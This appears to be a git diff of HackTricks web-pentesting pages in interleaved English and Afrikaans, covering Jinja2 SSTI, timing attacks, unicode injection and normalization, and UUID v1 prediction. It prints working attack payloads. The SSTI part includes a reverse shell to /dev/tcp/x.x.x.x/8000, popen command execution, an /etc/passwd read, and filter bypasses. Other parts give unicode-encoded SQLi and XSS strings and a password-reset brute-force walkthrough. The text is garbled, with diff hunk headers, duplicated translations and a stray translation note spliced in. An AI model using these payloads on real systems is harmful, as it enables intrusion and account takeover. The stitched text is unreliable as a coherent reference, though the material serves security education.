By default Flask HTML encode all the inside a template for security reasons:
**Vermy HTML-kodering**
Standaard HTML kodifiseer Flask alles binne 'n sjabloon vir sekuriteitsredes:
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**The `safe`** filter allows us to inject JavaScript and HTML into the page **without** it being **HTML encoded**, like this:
**Die `safe`** filter laat ons toe om JavaScript en HTML in die bladsy in te voeg **sonder** dat dit **HTML gekodeer** word, soos hierdie:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**RCE by writing an evil config file.**
**RCE deur 'n bose konfigurasie lêer te skryf.**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
@ -259,11 +236,9 @@ By default Flask HTML encode all the inside a template for security reasons:
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## Sonder verskeie karakters
## Without several chars
Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
Sonder **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
@ -275,14 +250,12 @@ Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```
## Jinja-inspuiting sonder **\<class 'object'>**
## Jinja Injection without **\<class 'object'>**
From the [**global objects**](jinja2-ssti.md#accessing-global-objects) there is another way to get to **RCE without using that class.**\
If you manage to get to any **function** from those globals objects, you will be able to access **`__globals__.__builtins__`** and from there the **RCE** is very **simple**.
You can **find functions** from the objects **`request`**, **`config`** and any **other** interesting **global object** you have access to with:
Van die [**globale objekte**](jinja2-ssti.md#accessing-global-objects) is daar 'n ander manier om by **RCE te kom sonder om daardie klas te gebruik.**\
As jy daarin slaag om by enige **funksie** van daardie globale objekte te kom, sal jy toegang hê tot **`__globals__.__builtins__`** en van daar af is die **RCE** baie **eenvoudig**.
Jy kan **funksies** van die objekte **`request`**, **`config`** en enige **ander** interessante **globale objek** waartoe jy toegang het, vind met:
```bash
{{ request.__class__.__dict__ }}
- application
@ -302,9 +275,7 @@ You can **find functions** from the objects **`request`**, **`config`** and any
# You can iterate through children objects to find more
```
Once you have found some functions you can recover the builtins with:
Sodra jy 'n paar funksies gevind het, kan jy die ingeboude funksies herstel met:
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
@ -326,13 +297,9 @@ Once you have found some functions you can recover the builtins with:
# All the bypasses seen in the previous sections are also valid
```
### Fuzzing WAF omseiling
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) is a tool that its specialized on CTFs but can be also useful to bruteforce invalid params on a real scenario. The tool just spray words and queries to detect filters, searching for bypasses, and also provide a interactive console.
English-Chinese Google translation
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) is 'n hulpmiddel wat gespesialiseer is in CTFs, maar kan ook nuttig wees om ongeldige parameters in 'n werklike scenario te bruteforce. Die hulpmiddel spuit net woorde en vrae om filters te detecteer, op soek na omseilings, en bied ook 'n interaktiewe konsole.
```
webui:
As the name suggests, web UI
@ -357,13 +324,11 @@ crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
```
## References
## Verwysings
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
- Check [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
- Kyk [attr trick om geblacklisted karakters hier te omseil](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,38 +3,37 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> For obtaining a deep understanding of this technique check the original report from [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
> Vir 'n diep begrip van hierdie tegniek, kyk na die oorspronklike verslag van [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
## Basic Information
The basic goal of a timing attack is basically to be able to answer complicated questions or detect hidden functionalities by just **checking the time differences in the responses from similar requests**.
Die basiese doel van 'n timing aanval is basies om in staat te wees om ingewikkelde vrae te beantwoord of versteekte funksies te ontdek deur net **die tydsverskille in die antwoorde van soortgelyke versoeke te kontroleer**.
Traditionally this has been very complicated because the latency an jitter introduced by both the network and the server. However, since the discovery and improvement of the [**Race Condition Single Packet attack**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), it's possible to use this technique to remove all network delays noised from the equation.\
Leaving only the **server delays** make timing attack easier to discover and abuse.
Tradisioneel was dit baie ingewikkeld weens die latensie en jitter wat deur beide die netwerk en die bediener ingebring is. egter, sedert die ontdekking en verbetering van die [**Race Condition Single Packet aanval**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), is dit moontlik om hierdie tegniek te gebruik om alle netwerkvertraging wat geraas veroorsaak, uit die vergelyking te verwyder.\
Slegs die **bedienervertraging** laat timing aanval makliker ontdek en misbruik.
## Discoveries
### Hidden Attack Surface
In the blog post is commented how using this technique it was possible to find hidden parameters and even headers just checking that whenever the param or header was present in the request there was a **time difference of about 5ms**. Actually, this discovery technique has been adde to **Param Miner** in Burp Suite.
In die blogpos is daar kommentaar gelewer oor hoe dit moontlik was om versteekte parameters en selfs headers te vind deur net te kontroleer dat wanneer die param of header in die versoek teenwoordig was, daar 'n **tydverskil van ongeveer 5ms** was. Trouens, hierdie ontdekkingstegniek is by **Param Miner** in Burp Suite gevoeg.
These time differences might because a **DNS request** was performed, some **log was written** because an invalid input or because some **checks are performed** when a parameter is present int he request.
Hierdie tydsverskille kan wees omdat 'n **DNS versoek** uitgevoer is, 'n **log geskryf is** weens 'n ongeldige invoer of omdat sommige **kontroles uitgevoer word** wanneer 'n parameter in die versoek teenwoordig is.
Something you need to remember when performing this kind of attacks is that because of the hidden nature of the surface, you might not know what is the actual real cause of the time differences.
Iets wat jy moet onthou wanneer jy hierdie soort aanvalle uitvoer, is dat weens die versteekte aard van die oppervlak, jy dalk nie weet wat die werklike oorsaak van die tydsverskille is nie.
### Reverse Proxy Misconfigurations
In the same research, it was shared that the timing technique was great to discover "scoped SSRFs" (which are SSRFs that can only access to allowed IP/domains). Just **checking the time difference when an allowed domain is set** versus when a not allowed domain is set helps to discover open proxies even if the response is the same.
In dieselfde navorsing is daar gedeel dat die timing tegniek wonderlik was om "scoped SSRFs" te ontdek (wat SSRFs is wat slegs toegang kan verkry tot toegelate IP/domeine). Net **deur die tydverskil te kontroleer wanneer 'n toegelate domein ingestel is** teenoor wanneer 'n nie-toegelate domein ingestel is, help om oop proxies te ontdek selfs al is die antwoord dieselfde.
Once an scoped open proxy is discovered, it was possible to find valid targets by parsing known subdomains of the target and this allowed to:
Sodra 'n scoped open proxy ontdek is, was dit moontlik om geldige teikens te vind deur bekende subdomeine van die teiken te parse, en dit het toegelaat om:
- **Bypass firewalls** by accessing restricted subdomains via the **open proxy** instead of through internet
- Moreover, abusing an **open proxy** it's also possible to **discover new subdomains only accessible internally.**
- **Front-End impersonation attacks**: Front-end servers normally add headers for the backend like `X-Forwarded-For` or `X-Real-IP`. Open proxies that receives these headers will add them to the requested endpoint, therefore, an attacker could be able to access even more internal domains by adding these headers will whitelisted values.
- **Firewalls te omseil** deur toegang te verkry tot beperkte subdomeine via die **oop proxy** in plaas van deur die internet
- Boonop, deur 'n **oop proxy** te misbruik, is dit ook moontlik om **nuwe subdomeine wat slegs intern toeganklik is, te ontdek.**
- **Front-End impersonation attacks**: Front-end bedieners voeg normaalweg headers vir die backend by soos `X-Forwarded-For` of `X-Real-IP`. Oop proxies wat hierdie headers ontvang, sal dit by die versoekte eindpunt voeg, daarom kan 'n aanvaller in staat wees om selfs meer interne domeine te benader deur hierdie headers met whitelisted waardes toe te voeg.
## References
- [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,35 +4,34 @@
## Introduction
Depending on how the back-end/front-end is behaving when it **receives weird unicode characters** an attacker might be able to **bypass protections and inject arbitrary characters** that could be used to **abused injection vulnerabilities** such as XSS or SQLi.
Afhangende van hoe die back-end/front-end optree wanneer dit **weird unicode karakters ontvang**, mag 'n aanvaller in staat wees om **beskermings te omseil en arbitrêre karakters in te spuit** wat gebruik kan word om **inspuitingskwesbaarhede te misbruik** soos XSS of SQLi.
## Unicode Normalization
Unicode normalization occurs when **unicode characters are normalized to ascii characters**.
Unicode normalisering vind plaas wanneer **unicode karakters genormaliseer word na ascii karakters**.
One common scenario of this type of vulnerability occurs when the system is **modifying** somehow the **input** of the user **after having checked it**. For example, in some languages a simple call to make the **input uppercase or lowercase** could normalize the given input and the **unicode will be transformed into ASCII** generating new characters.\
For more info check:
Een algemene scenario van hierdie tipe kwesbaarheid gebeur wanneer die stelsel **die invoer** van die gebruiker **op 'n of ander manier aanpas** **nadat dit dit nagegaan het**. Byvoorbeeld, in sommige tale kan 'n eenvoudige oproep om die **invoer hoofletters of kleinletters te maak** die gegewe invoer normaliseer en die **unicode sal in ASCII omgeskakel word**, wat nuwe karakters genereer.\
Vir meer inligting, kyk:
{{#ref}}
unicode-normalization.md
{{#endref}}
## `\u` to `%`
## `\u` na `%`
Unicode characters are usually represented with the **`\u` prefix**. For example the char `㱋` is `\u3c4b`([check it here](https://unicode-explorer.com/c/3c4B)). If a backend **transforms** the prefix **`\u` in `%`**, the resulting string will be `%3c4b`, which URL decoded is: **`<4b`**. And, as you can see, a **`<` char is injected**.\
You could use this technique to **inject any kind of char** if the backend is vulnerable.\
Check [https://unicode-explorer.com/](https://unicode-explorer.com/) to find the chars you need.
Unicode karakters word gewoonlik verteenwoordig met die **`\u` voorvoegsel**. Byvoorbeeld, die karakter `㱋` is `\u3c4b`([kyk dit hier](https://unicode-explorer.com/c/3c4B)). As 'n backend **die voorvoegsel** **`\u` in `%` omskakel**, sal die resulterende string `%3c4b` wees, wat URL-dekodeer is: **`<4b`**. En, soos jy kan sien, is 'n **`<` karakter ingespuit**.\
Jy kan hierdie tegniek gebruik om **enige tipe karakter in te spuit** as die backend kwesbaar is.\
Kyk [https://unicode-explorer.com/](https://unicode-explorer.com/) om die karakters te vind wat jy nodig het.
This vuln actually comes from a vulnerability a researcher found, for a more in depth explanation check [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
Hierdie kwesbaarheid kom eintlik van 'n kwesbaarheid wat 'n navorser gevind het, vir 'n meer diepgaande verduideliking, kyk [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
## Emoji Injection
Back-ends something behaves weirdly when they **receives emojis**. That's what happened in [**this writeup**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) where the researcher managed to achieve a XSS with a payload such as: `💋img src=x onerror=alert(document.domain)//💛`
In this case, the error was that the server after removing the malicious characters **converted the UTF-8 string from Windows-1252 to UTF-8** (basically the input encoding and the convert from encoding mismatched). Then this does not give a proper < just a weird unicode one: ``\
``So they took this output and **converted again now from UTF-8 ot ASCII**. This **normalized** the ``to`<` this is how the exploit could work on that system.\
This is what happened:
Back-ends gedra soms vreemd wanneer hulle **emojis ontvang**. Dit is wat gebeur het in [**hierdie skrywe**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) waar die navorser daarin geslaag het om 'n XSS te bereik met 'n payload soos: `💋img src=x onerror=alert(document.domain)//💛`
In hierdie geval was die fout dat die bediener, nadat dit die kwaadwillige karakters verwyder het, **die UTF-8 string van Windows-1252 na UTF-8 omgeskakel het** (basies het die invoer kodering en die omskakeling van kodering nie ooreengestem nie). Dan gee dit nie 'n behoorlike < nie, net 'n vreemde unicode een: ``\
``So het hulle hierdie uitvoer geneem en **weer omskep van UTF-8 na ASCII**. Dit het die `` na ` <` genormaliseer, dit is hoe die eksploit op daardie stelsel kon werk.\
Dit is wat gebeur het:
```php
<?php
@ -43,11 +42,9 @@ $str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
echo "String: " . $str;
```
Emoji lists:
Emoji lys:
- [https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv)
- [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,54 +2,52 @@
{{#include ../../banners/hacktricks-training.md}}
**This is a summary of:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Check a look for further details (images taken form there).
**Dit is 'n opsomming van:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Kyk daar vir verdere besonderhede (beelde geneem daar).
## Understanding Unicode and Normalization
## Verstaan van Unicode en Normalisering
Unicode normalization is a process that ensures different binary representations of characters are standardized to the same binary value. This process is crucial in dealing with strings in programming and data processing. The Unicode standard defines two types of character equivalence:
Unicode-normalisering is 'n proses wat verseker dat verskillende binêre verteenwoordigings van karakters gestandaardiseer word na dieselfde binêre waarde. Hierdie proses is van kardinale belang wanneer dit kom by stringe in programmering en dataverwerking. Die Unicode-standaard definieer twee tipes karaktergelykheid:
1. **Canonical Equivalence**: Characters are considered canonically equivalent if they have the same appearance and meaning when printed or displayed.
2. **Compatibility Equivalence**: A weaker form of equivalence where characters may represent the same abstract character but can be displayed differently.
1. **Kanonieke Gelykheid**: Karakters word as kanoniek gelyk beskou as hulle dieselfde voorkoms en betekenis het wanneer dit gedruk of vertoon word.
2. **Compatibiliteitsgelykheid**: 'n Swakker vorm van gelykheid waar karakters dieselfde abstrakte karakter kan verteenwoordig, maar anders vertoon kan word.
There are **four Unicode normalization algorithms**: NFC, NFD, NFKC, and NFKD. Each algorithm employs canonical and compatibility normalization techniques differently. For a more in-depth understanding, you can explore these techniques on [Unicode.org](https://unicode.org/).
Daar is **vier Unicode-normalisering algoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme gebruik kanonieke en kompatibiliteitsnormaliseringstegnieke op 'n ander manier. Vir 'n meer diepgaande begrip kan jy hierdie tegnieke op [Unicode.org](https://unicode.org/) verken.
### Key Points on Unicode Encoding
### Sleutelpunte oor Unicode-kodering
Understanding Unicode encoding is pivotal, especially when dealing with interoperability issues among different systems or languages. Here are the main points:
Om Unicode-kodering te verstaan, is van kardinale belang, veral wanneer dit kom by interoperabiliteitskwessies tussen verskillende stelsels of tale. Hier is die hoofpunte:
- **Code Points and Characters**: In Unicode, each character or symbol is assigned a numerical value known as a "code point".
- **Bytes Representation**: The code point (or character) is represented by one or more bytes in memory. For instance, LATIN-1 characters (common in English-speaking countries) are represented using one byte. However, languages with a larger set of characters need more bytes for representation.
- **Encoding**: This term refers to how characters are transformed into a series of bytes. UTF-8 is a prevalent encoding standard where ASCII characters are represented using one byte, and up to four bytes for other characters.
- **Processing Data**: Systems processing data must be aware of the encoding used to correctly convert the byte stream into characters.
- **Variants of UTF**: Besides UTF-8, there are other encoding standards like UTF-16 (using a minimum of 2 bytes, up to 4) and UTF-32 (using 4 bytes for all characters).
- **Kodepunte en Karakters**: In Unicode word elke karakter of simbool 'n numeriese waarde toegeken wat bekend staan as 'n "kodepunt".
- **Bytes Verteenwoordiging**: Die kodepunt (of karakter) word deur een of meer bytes in geheue verteenwoordig. Byvoorbeeld, LATIN-1 karakters (algemeen in Engelssprekende lande) word met een byte verteenwoordig. egter, tale met 'n groter stel karakters benodig meer bytes vir verteenwoordiging.
- **Kodering**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene koderingstandaard waar ASCII-karakters met een byte verteenwoordig word, en tot vier bytes vir ander karakters.
- **Verwerking van Data**: Stelsels wat data verwerk, moet bewus wees van die kodering wat gebruik word om die byte-stroom korrek in karakters om te skakel.
- **Variantes van UTF**: Benewens UTF-8, is daar ander koderingstandaarde soos UTF-16 (wat 'n minimum van 2 bytes gebruik, tot 4) en UTF-32 (wat 4 bytes vir alle karakters gebruik).
It's crucial to comprehend these concepts to effectively handle and mitigate potential issues arising from Unicode's complexity and its various encoding methods.
An example of how Unicode normalise two different bytes representing the same character:
Dit is van kardinale belang om hierdie konsepte te verstaan om effektief te kan hanteer en potensiële probleme wat uit Unicode se kompleksiteit en sy verskillende koderingmetodes ontstaan, te verminder.
'n Voorbeeld van hoe Unicode twee verskillende bytes normaliseer wat dieselfde karakter verteenwoordig:
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
**n Lys van Unicode ekwivalente karakters kan hier gevind word:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) en [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
**A list of Unicode equivalent characters can be found here:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) and [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
### Ontdekking
### Discovering
As jy 'n waarde in 'n webapp kan vind wat teruggegee word, kan jy probeer om **KELVIN TEKEN (U+0212A)** te stuur wat **normaliseer na "K"** (jy kan dit as `%e2%84%aa` stuur). **As 'n "K" teruggegee word**, dan word daar 'n soort **Unicode normalisering** uitgevoer.
If you can find inside a webapp a value that is being echoed back, you could try to send **KELVIN SIGN (U+0212A)** which **normalises to "K"** (you can send it as `%e2%84%aa`). **If a "K" is echoed back**, then, some kind of **Unicode normalisation** is being performed.
Ander **voorbeeld**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` na **unicode** is `Leonishan`.
Other **example**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` after **unicode** is `Leonishan`.
## **Kwetsbare Voorbeelde**
## **Vulnerable Examples**
### **SQL Injection filter omseiling**
### **SQL Injection filter bypass**
Stel jou voor 'n webblad wat die karakter `'` gebruik om SQL navrae met die gebruiker se invoer te skep. Hierdie web, as 'n sekuriteitsmaatreël, **verwyder** alle voorkomste van die karakter **`'`** uit die gebruiker se invoer, maar **na daardie verwydering** en **voor die skepping** van die navraag, **normaliseer** dit die gebruiker se invoer met **Unicode**.
Imagine a web page that is using the character `'` to create SQL queries with the user input. This web, as a security measure, **deletes** all occurrences of the character **`'`** from the user input, but **after that deletion** and **before the creation** of the query, it **normalises** using **Unicode** the input of the user.
Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears:
Dan kan 'n kwaadwillige gebruiker 'n ander Unicode karakter wat ekwivalent is aan `' (0x27)` soos `%ef%bc%87` invoeg, wanneer die invoer genormaliseer word, word 'n enkele aanhalingsteken geskep en 'n **SQLInjection kwesbaarheid** verskyn:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
**Some interesting Unicode characters**
**Sommige interessante Unicode karakters**
- `o` -- %e1%b4%bc
- `r` -- %e1%b4%bf
@ -62,7 +60,6 @@ Then, a malicious user could insert a different Unicode character equivalent to
- `'` -- %ef%bc%87
- `"` -- %ef%bc%82
- `|` -- %ef%bd%9c
```
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
@ -76,32 +73,30 @@ Then, a malicious user could insert a different Unicode character equivalent to
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
```
#### sqlmap template
#### sqlmap sjabloon
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
### XSS (Cross Site Scripting)
You could use one of the following characters to trick the webapp and exploit a XSS:
Jy kan een van die volgende karakters gebruik om die webapp te mislei en 'n XSS te benut:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
Notice that for example the first Unicode character purposed can be sent as: `%e2%89%ae` or as `%u226e`
Let op dat die eerste Unicode karakter wat voorgestel word, gestuur kan word as: `%e2%89%ae` of as `%u226e`
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
### Fuzzing Regexes
When the backend is **checking user input with a regex**, it might be possible that the **input** is being **normalized** for the **regex** but **not** for where it's being **used**. For example, in an Open Redirect or SSRF the regex might be **normalizing the sent UR**L but then **accessing it as is**.
Wanneer die backend **gebruikersinvoer met 'n regex nagaan**, kan dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit **gebruik** word nie. Byvoorbeeld, in 'n Open Redirect of SSRF kan die regex die gestuurde URL **genormaliseer** maar dan **dit soos dit is** benader.
The tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* allows to **generate variation of the input** to fuzz the backend. Fore more info check the **github** and this [**post**](https://0xacb.com/2022/11/21/recollapse/).
Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* laat jou toe om **variasies van die invoer** te genereer om die backend te fuzz. Vir meer inligting, kyk na die **github** en hierdie [**pos**](https://0xacb.com/2022/11/21/recollapse/).
## References
## Verwysings
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,66 +1,65 @@
# UUID Insecurities
# UUID Onsekerhede
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
Universally Unique Identifiers (UUIDs) are **128-bit numbers used to uniquely identify information** in computer systems. UUIDs are essential in applications where unique identifiers are necessary without central coordination. They are commonly used as database keys and can refer to various elements like documents and sessions.
Universally Unique Identifiers (UUIDs) is **128-bis getalle wat gebruik word om inligting uniek te identifiseer** in rekenaarsisteme. UUIDs is noodsaaklik in toepassings waar unieke identifiseerders nodig is sonder sentrale koördinering. Hulle word algemeen gebruik as databasis sleutels en kan na verskeie elemente soos dokumente en sessies verwys.
UUIDs are designed to be unique and **hard to guess**. They are structured in a specific format, divided into five groups represented as 32 hexadecimal digits. There are different versions of UUIDs, each serving different purposes:
UUIDs is ontwerp om uniek te wees en **moeilik om te raai**. Hulle is gestruktureer in 'n spesifieke formaat, verdeel in vyf groepe wat as 32 heksadesimale syfers voorgestel word. Daar is verskillende weergawes van UUIDs, elk met verskillende doele:
- **UUID v1** is time-based, incorporating the timestamp, clock sequence, and node ID (MAC address), but it can potentially expose system information.
- **UUID v2** is similar to v1 but includes modifications for local domains (not widely used).
- **UUID v3 and v5** generate UUIDs using hash values from namespace and name, with v3 using MD5 and v5 using SHA-1.
- **UUID v4** is generated almost entirely randomly, providing a high level of anonymity but with a slight risk of duplicates.
- **UUID v1** is tyd-gebaseerd, wat die tydstempel, klokvolgorde en node ID (MAC adres) insluit, maar dit kan moontlik stelselinligting blootstel.
- **UUID v2** is soortgelyk aan v1 maar sluit wysigings vir plaaslike domeine in (nie wyd gebruik nie).
- **UUID v3 en v5** genereer UUIDs met behulp van hash waardes van namespace en naam, met v3 wat MD5 gebruik en v5 wat SHA-1 gebruik.
- **UUID v4** word byna heeltemal ewekansig gegenereer, wat 'n hoë vlak van anonimiteit bied, maar met 'n effense risiko van duplikate.
> [!TIP]
> Note that the version and subversion of the UUID usually appears in the same possition inside the UUID. For example in:\
> Let daarop dat die weergawe en subweergawe van die UUID gewoonlik in dieselfde posisie binne die UUID verskyn. Byvoorbeeld in:\
> 12345678 - abcd - 1a56 - a539 - 103755193864\
> xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx
>
> - The **position of the M** Indicates the UUID **version**. In the example above, its UUID v**1**.
> - The **position of the N** Indicates the UUID variant.
> - Die **posisie van die M** dui die UUID **weergawe** aan. In die voorbeeld hierbo, is dit UUID v**1**.
> - Die **posisie van die N** dui die UUID variasie aan.
## Sandwich attack
## Sandwich-aanval
The "Sandwich Attack" is a specific type of attack that **exploits the predictability of UUID v1 generation in web applications**, particularly in features like password resets. UUID v1 is generated based on time, clock sequence, and the node's MAC address, which can make it somewhat predictable if an attacker can obtain some of these UUIDs generated close in time.
Die "Sandwich-aanval" is 'n spesifieke tipe aanval wat **die voorspelbaarheid van UUID v1 generasie in webtoepassings benut**, veral in funksies soos wagwoordherstel. UUID v1 word gegenereer op grond van tyd, klokvolgorde, en die node se MAC adres, wat dit effens voorspelbaar kan maak as 'n aanvaller sommige van hierdie UUIDs wat naby in tyd gegenereer is, kan verkry.
### Example
### Voorbeeld
Imagine a web application that uses UUID v1 for generating password reset links. Heres how an attacker might exploit this to gain unauthorized access:
Stel jou 'n webtoepassing voor wat UUID v1 gebruik om wagwoordherstel skakels te genereer. Hier is hoe 'n aanvaller dit kan benut om ongeoorloofde toegang te verkry:
1. **Initial Setup**:
1. **Beginopstelling**:
- The attacker has control over two email accounts: \`attacker1@acme.com\` and \`attacker2@acme.com\`.
- The target's email account is \`victim@acme.com\`.
- Die aanvaller het beheer oor twee e-pos rekeninge: \`attacker1@acme.com\` en \`attacker2@acme.com\`.
- Die teiken se e-pos rekening is \`victim@acme.com\`.
2. **Execution**:
2. **Uitvoering**:
- The attacker triggers a password reset for their first account (\`attacker1@acme.com\`) and receives a password reset link with a UUID, say \`99874128-7592-11e9-8201-bb2f15014a14\`.
- Immediately after, the attacker triggers a password reset for the victim's account (\`victim@acme.com\`) and then quickly for the second attacker-controlled account (\`attacker2@acme.com\`).
- The attacker receives a reset link for the second account with a UUID, say \`998796b4-7592-11e9-8201-bb2f15014a14\`.
- Die aanvaller aktiveer 'n wagwoordherstel vir hul eerste rekening (\`attacker1@acme.com\`) en ontvang 'n wagwoordherstel skakel met 'n UUID, sê \`99874128-7592-11e9-8201-bb2f15014a14\`.
- Onmiddellik daarna, aktiveer die aanvaller 'n wagwoordherstel vir die slagoffer se rekening (\`victim@acme.com\`) en dan vinnig vir die tweede aanvaller-beheerde rekening (\`attacker2@acme.com\`).
- Die aanvaller ontvang 'n herstel skakel vir die tweede rekening met 'n UUID, sê \`998796b4-7592-11e9-8201-bb2f15014a14\`.
3. **Analysis**:
3. **Analise**:
- The attacker now has two UUIDs generated close in time (\`99874128\` and \`998796b4\`). Given the sequential nature of time-based UUIDs, the UUID for the victim's account will likely fall between these two values.
- Die aanvaller het nou twee UUIDs wat naby in tyd gegenereer is (\`99874128\` en \`998796b4\`). Gegewe die opeenvolgende aard van tyd-gebaseerde UUIDs, sal die UUID vir die slagoffer se rekening waarskynlik tussen hierdie twee waardes val.
4. **Brute Force Attack:**
4. **Brute Force Aanval:**
- The attacker uses a tool to generate UUIDs between these two values and tests each generated UUID by attempting to access the password reset link (e.g., \`https://www.acme.com/reset/\<generated-UUID>\`).
- If the web application does not adequately rate limit or block such attempts, the attacker can quickly test all possible UUIDs in the range.
- Die aanvaller gebruik 'n hulpmiddel om UUIDs tussen hierdie twee waardes te genereer en toets elke gegenereerde UUID deur te probeer om toegang te verkry tot die wagwoordherstel skakel (bv. \`https://www.acme.com/reset/\<generated-UUID>\`).
- As die webtoepassing nie voldoende koersbeperking of blokkeer sulke pogings nie, kan die aanvaller vinnig al die moontlike UUIDs in die reeks toets.
5. **Access Gained:**
5. **Toegang Verkry:**
- Once the correct UUID for the victim's password reset link is discovered, the attacker can reset the victim's password and gain unauthorized access to their account.
- Sodra die korrekte UUID vir die slagoffer se wagwoordherstel skakel ontdek is, kan die aanvaller die slagoffer se wagwoord herstel en ongeoorloofde toegang tot hul rekening verkry.
### Tools
### Hulpmiddels
